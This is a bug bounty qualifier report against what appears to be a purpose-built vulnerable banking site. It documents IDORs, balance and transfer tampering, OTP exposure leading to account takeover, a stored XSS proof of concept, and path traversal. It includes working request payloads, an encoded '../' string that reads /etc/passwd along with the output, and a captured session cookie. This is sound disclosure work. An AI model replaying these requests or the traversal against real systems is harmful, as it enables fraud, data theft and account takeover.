QUALIFIERS REPORT (HackerOne Bug Hunt 2026)

FULLNAME: Md. Nayeem Ahmed

USERNAME: 0xnay33m

EMAIL: 0xnay33m@wearehackerone.com

DATE: 22/11/2025

VULN#1 CRITICAL

TITLE: Critical Business Logic Vulnerability – Client-Side Balance Manipulation During Account Creation

Vulnerable Endpoint

POST https://h1bh26-qualifiers-target.bughunt.info/api/add_balance

Description

The application contains a **critical business logic flaw** that allows the user to arbitrarily modify their **opening balance** during account creation.

The backend **trusts client-controlled values** sent in the BL (balance) parameter and applies them directly to the account without any form of server-side validation.

This enables an attacker to **self-assign any balance amount**, bypassing business rules and creating direct financial impact.

Steps to Reproduce

1. Navigate to the signup process at:
2. https://h1bh26-qualifiers-target.bughunt.info/signup
3. While creating a new account, intercept the request:

POST /api/add_balance
{"AC":"100148315949","BL":"1000"}

4. Modify the BL value to an arbitrary large number, e.g.:

{"AC":"100148315949","BL":"7000000"}

5. Forward the modified request.
6. The server responds with **200 OK**, confirming the manipulated value was accepted:

{"new_balance":7000000.0,"success":true}

Impact

This vulnerability allows an attacker to **assign any balance** to their newly created account.

Potential consequences include:

- Unauthorized crediting of funds
- Financial loss or accounting inconsistencies
- Business rule bypass (minimum deposit, account tiers, eligibility)
- Inaccurate ledger entries
- Possible abuse for fraud, laundering, and bypass of AML/Compliance controls

Because the backend **trusts arbitrary client input**, this issue compromises the integrity of the platform's financial data.

Severity: Critical

VULN#2 CRITICAL

TITLE: IDOR in /api/add_balance Allows Unauthorized Balance Modification of Other User Accounts

Vulnerable Endpoint

POST https://h1bh26-qualifiers-target.bughunt.info/api/add_balance

Description

The add_balance API endpoint is vulnerable to **IDOR (Insecure Direct Object Reference)**.

The server **does not verify whether the authenticated user owns the account associated with the AC parameter**.

By modifying the AC value to another valid account number, an attacker can **change the balance of any other user**, resulting in unauthorized fund manipulation.

Steps to Reproduce

1. Log in using your **primary account**.
2. Intercept the legitimate request sent to POST /api/add_balance, which looks like:

{"AC":"100148315949","BL":"1000"}

3. Change the AC value to any **other valid account number**.

In this test, I used my secondary account ID was used:

{"AC":"100148724955","BL":"7000000"}

4. Forward the modified request.
5. The server responds with **200 OK** and updates the balance of the targeted account:

HTTP/2 200 OK
{"new_balance":7000000.0,"success":true}

6. This confirms that **no authorization checks** are performed, and attackers can manipulate **any user's balance**.

Impact

This vulnerability allows attackers to:

- Modify the balance of **any account**, not just their own
- Add or remove funds from another user's balance
- Cause direct financial loss
- Bypass all business rules and financial controls
- Create inconsistencies in the bank ledger
- Facilitate fraudulent activity or internal abuse

Severity: Critical

This is a direct violation of access control and financial data integrity.

VULN#3 CRITICAL

TITLE: IDOR in /api/delete_beneficiary Allows Unauthorized Deletion of Other Users' Beneficiaries

Vulnerable Endpoint

POST https://h1bh26-qualifiers-target.bughunt.info/api/delete_beneficiary

Description

The delete_beneficiary API endpoint is vulnerable to **IDOR (Insecure Direct Object Reference)**.

The server **does not check whether the beneficiary_id belongs to the authenticated user**.

An attacker can modify the beneficiary_id parameter in the request and delete any beneficiary, including those belonging to other accounts.

This allows unauthorized tampering with user financial relationships, posing a serious security and privacy risk.

Steps to Reproduce

1. Log in to account and navigate to the Beneficiaries page.
2. Intercept the legitimate request:

POST /api/delete_beneficiary
{"beneficiary_id":3618}

3. Modify the beneficiary_id value to any **other valid beneficiary ID** belonging to another user.

Example used:

{"beneficiary_id":3618}

(This ID was not owned by the authenticated account.)

4. Forward the modified request.
5. The server responds with **200 OK**, confirming the deletion:

{"message":"Beneficiary deleted successfully","success":true}

6. This demonstrates that **no ownership validation** is performed on beneficiary_id.

Impact

Attackers can:

- Delete **any user's beneficiary**, not only their own
- Disrupt financial operations
- Cause loss of saved payment recipients
- Potentially sabotage user accounts
- Exploit this to create financial delays or targeted harassment.

Severity: High → Critical (depends on business impact)

VULN#4 **CRITICAL**

TITLE: Critical IDOR in /api/balance Exposes Full Account, Card, and Personal Data of Any User

Vulnerable Endpoint

POST https://h1bh26-qualifiers-target.bughunt.info/api/balance

Description

The /api/balance endpoint is vulnerable to a **Critical IDOR (Insecure Direct Object Reference)**.

The endpoint **directly trusts the client-supplied account_number** without verifying ownership or authorization.

By modifying this parameter, any authenticated user can retrieve **complete financial account details of any other user**.

Steps to Reproduce

1. Intercept a normal balance request from your account:

POST /api/balance
{"account_number":"100148315949"}

2. Server returns your account data:


```
{
  "account_number":"100148315949",
  "account_type":"Savings",
  "balance":...,
  "card_number":"4532408256796093",
  "card_cvv":"091",
  "card_expiry":"11/29",
  ...
}
```

3. Modify the account_number to any other valid ID:

{"account_number":"100148724955"}

4. Forward the request.

5. Server responds with full sensitive data of another user:

{
"account_number":"100148724955",
"account_type":"Savings",
"balance":500000007000000.0,
"branch":"Uttara, Dhaka",
"card_number":"4532791266771345",
"card_cvv":"198",
"card_expiry":"11/29",
"email":"nayeem@gmail.com",
"full_name":"oxnayeemsecond",
"profile_picture":"default.png",
"success":true
}

No access-control checks are in place.

Impact

- Violates **PCI-DSS Level 1** — catastrophic severity
- Exposes **any customer's financial details** (balance, account number, branch, account type)
- Leaks **personal information** (full name, email, profile picture)
- Enables **fraud and abuse**: identity theft, card fraud, social engineering, account takeover, internal reconnaissance

VULN#5 CRITICAL

TITLE: Account Takeover via Exposure of OTP in Password Reset Flow

Vulnerable Feature: “Recover User ID” and “Forgot Password”

Description:

A logical security flaw allows an attacker to retrieve a victim’s **User ID** using only their **Account Number**, and then complete the password reset flow because the OTP is transmitted in plaintext within the intercepted request. This results in a full account takeover.

Steps to Reproduce:

1. Use the **“Recover User ID”** feature and enter the victim’s account number (e.g., 100148724955).
2. The application returns the victim’s associated user ID (e.g., 387299) without additional verification.
3. Navigate to the **“Forgot Password”** feature and submit the retrieved user ID.
4. An OTP is generated and intended to be sent to the victim.
5. Intercept the following request:

```
POST /api/request_password_reset HTTP/1.1
Host: h1bh26-qualifiers-target.bughunt.info
Content-Type: application/json

{"user_id":"387299","otp":"752845"}
```

6. The OTP is exposed **directly inside the request body**, enabling the attacker to complete the password reset process without ever accessing the victim’s email/phone.

Impact:

This vulnerability results in **Full Account Takeover (ATO)**.

An attacker can:

- Reset the victim’s password
- Gain complete access to their account
- View and modify sensitive user data
- Perform unauthorized actions on behalf of the victim

VULN#6

TITLE: IDOR in generate_statement API allows access to other users' account statements

Vulnerable Path: POST /api/generate_statement

Description:

An **Insecure Direct Object Reference (IDOR)** vulnerability exists in the generate_statement API endpoint. The API accepts the account_number as user-controlled input but does **not** verify that the requester is the owner of that account. As a result, any authenticated attacker can modify the account_number field and retrieve another user's financial statement.

Steps to Reproduce:

1. Log in as a valid user.
2. Intercept the following request initiated from the dashboard:

```
POST /api/generate_statement HTTP/2
Host: h1bh26-qualifiers-target.bughunt.info
Cookie: session=<valid session>
Content-Type: application/json

{"account_number":"100148724955"}
```

3. Change the account_number to another user's account number. Example:

```
{"account_number":"<VICTIM_ACCOUNT_NUMBER>"}
```

4. Forward the request.
5. The server returns the **full account statement** of the victim, exposing highly sensitive financial information.

Impact:

This vulnerability allows any authenticated attacker to:

- View other users' **full financial history**
- Access account balances, transactions, and sensitive records
- Violate privacy and confidentiality
- Potentially combine this data with other flaws for financial fraud

VULN#7

TITLE: IDOR in cancel_scheduled_transfer API allows attackers to cancel other users' scheduled transfers

Vulnerable Path: POST /api/cancel_scheduled_transfer

Description:

An **Insecure Direct Object Reference (IDOR)** vulnerability exists in the scheduled transfer cancellation functionality. The API accepts a transfer_id from the client and performs the cancellation without validating ownership. Any authenticated user can modify the transfer_id value in the request and cancel another user's scheduled bank transfer.

Steps to Reproduce:

1. Log in as a valid user.
2. Navigate to the Scheduled Transfers page.
3. Intercept the following legitimate request:

```
POST /api/cancel_scheduled_transfer HTTP/2
Host: h1bh26-qualifiers-target.bughunt.info
Cookie: session=<valid session>
Content-Type: application/json

{"transfer_id":185}
```

4. Change the transfer_id to another user's transfer ID. Example:

```
{"transfer_id": <VICTIM_TRANSFER_ID>}
```

5. Forward the modified request.
6. The server processes the cancellation successfully even though the attacker does not own that scheduled transfer.

Impact:

This vulnerability allows any authenticated attacker to:

- Cancel **other users' scheduled transfers**
- Disrupt financial operations
- Cause monetary loss or failed transactions
- Perform unauthorized actions on victim accounts

VULN#8

TITLE: Stored XSS in profile picture upload feature

Vulnerable Path: https://h1bh26-qualifiers-target.bughunt.info/static/uploads/profiles/<uploaded-file>.html

Description:

Stored Cross-Site Scripting occurs when a web application stores user-supplied data (such as uploaded files or text) and later renders it without proper sanitization. In this case, the application accepts an HTML file as a profile picture and serves it directly with text/html content-type, allowing execution of attacker-controlled JavaScript.

Steps to Reproduce:

1. Navigate to:
2. https://h1bh26-qualifiers-target.bughunt.info/settings
3. Use the **profile_picture** upload option.
4. Upload a file named test.html containing the following payload:

```
<h1>Stored XSS PoC</h1>
<script>
document.body.insertAdjacentHTML("beforeend", "<p>alert executed ✔</p>");
alert("Stored XSS PoC");
</script>
```

5. After upload, visit the stored file at:

https://h1bh26-qualifiers-target.bughunt.info/static/uploads/profiles/173020_test.html

6. You will see a JavaScript alert pop-up, confirming the stored XSS execution.

POC (Payload):

```
<script>
document.body.insertAdjacentHTML("beforeend", "<p>alert executed ✔</p>");
alert("Stored XSS PoC");
</script>
```

POC URL:

https://h1bh26-qualifiers-target.bughunt.info/static/uploads/profiles/173020_test.html

Impact:

An attacker can upload arbitrary HTML/JavaScript and have it executed whenever a victim (including admins) visits the uploaded file. This can lead to:

- Session hijacking
- Account takeover
- CSRF bypass
- Privilege escalation
- Full compromise of affected user accounts
- Potential escalation to system compromise via admin session theft

VULN#9

TITLE: Path Traversal (Directory Traversal) in /download Endpoint

Vulnerable path: https://h1bh26-qualifiers-target.bughunt.info/download?file=

Description:

The /download endpoint does not properly sanitize the file parameter, allowing path traversal attacks. An attacker can read arbitrary files from the server filesystem, including sensitive system files like /etc/passwd, by using URL-encoded path traversal sequences (..%2f which decodes to ../). The endpoint processes the traversal sequences without validation, enabling unauthorized access to files outside the intended directory.

Step to reproduce:

1. Visit the following URL in your browser or Burp Suite:

   https://h1bh26-qualifiers-target.bughunt.info/download?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

2. You will download a file which contains the contents of /etc/passwd, including system user information such as:

```
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
```

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

```

**Impact:**

This vulnerability allows attackers to:

Read sensitive system files like /etc/passwd, /etc/shadow, configuration files, and application source code

Access sensitive application files including database credentials, API keys, and environment variables

VULN#10

**TITLE:** Unauthorized Money Transfer - Unlimited Amount Manipulation in /api/transfer

**Vulnerable path:** /api/transfer

**Description**:

The money transfer endpoint does not validate that the user has sufficient account balance before processing transfers. An attacker can transfer unlimited amounts of money to any account by modifying the amount parameter, regardless of their actual account balance. The endpoint processes transfers without checking available funds or enforcing transfer limits, allowing unauthorized money transfers.

**Step to reproduce:**

1. Log in to the application with a valid user account
2. Navigate to the dashboard and initiate a transfer request
3. Intercept the transfer request using Burp Suite. The request looks like:
   ```

   POST /api/transfer HTTP/2

   Host: h1bh26-qualifiers-target.bughunt.info

   Cookie:
   session=.eJwlyk0KgCAQBtC7fOsWThmBl5Gpph9QA3MWFd09oe3jPeBpOjQVnzSOkuFAxhB
   R31ljBzRgnffiw7GuMsOVrNJg0RB84ii1B76vc-
   PMS816SvZ7ffiJ2s7i_QCWmiEr.aSGuaA.EF9LlmTruxqP0q1DkW7CxmSTwNI

   Content-Length: 60

   Sec-Ch-Ua-Platform: "Linux"

   Accept-Language: en-US,en;q=0.9

Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"

Content-Type: application/json

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept: */*

Origin: https://h1bh26-qualifiers-target.bughunt.info

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://h1bh26-qualifiers-target.bughunt.info/dashboard

Accept-Encoding: gzip, deflate, br

Priority: u=1, i

{"to_account":"100148315949","amount":1000,"reference":""}

```

4. Modify the amount parameter to an arbitrary large value (e.g., {"to_account":"100148315949","amount":999999999,"reference":""})

5. Send the modified request

6. Observe that the transfer is successfully processed even if the user's account balance is insufficient, allowing unlimited money transfers

**Impact**:

This vulnerability allows attackers to:

Transfer unlimited amounts of money to any account without sufficient balance

Create money out of thin air by transferring amounts exceeding their account balance

VULN#11
```

TITLE: Unauthorized Balance Manipulation in /api/add_balance

Vulnerable path: /api/add_balance

Description:

The /api/add_balance endpoint does not verify that the requesting user has permission to modify the specified account balance. An attacker can set any user's account balance to zero (or any arbitrary amount) by modifying the AC (account number) parameter. The endpoint accepts any account number without authorization checks, allowing unauthorized manipulation of account balances across the system.

Step to reproduce:

1. Add the request to Burp Suite Repeater:

   ```

   POST /api/add_balance HTTP/2

   Host: h1bh26-qualifiers-target.bughunt.info

   Content-Length: 33

   Sec-Ch-Ua-Platform: "Windows"

   Accept-Language: en-US,en;q=0.9

   Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"

   Content-Type: application/json

   Sec-Ch-Ua-Mobile: ?0

   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

   Accept: */*

   Origin: https://h1bh26-qualifiers-target.bughunt.info

   Sec-Fetch-Site: same-origin

   Sec-Fetch-Mode: cors

   Sec-Fetch-Dest: empty

   Referer: https://h1bh26-qualifiers-target.bughunt.info/signup

   Accept-Encoding: gzip, deflate, br
   ```

Priority: u=1, i

{"AC":"100111534047","BL":"00"}

```

2. Change the AC (account number) parameter to another user's account number (e.g., {"AC":"100111534048","BL":"00"})

3. Send the modified request

4. Observe that the target user's account balance is successfully set to 00 without authorization

**Impact**:

This vulnerability allows attackers to:

Reset any user's account balance to zero, causing complete financial loss

Manipulate account balances to arbitrary amounts, enabling financial fraud
```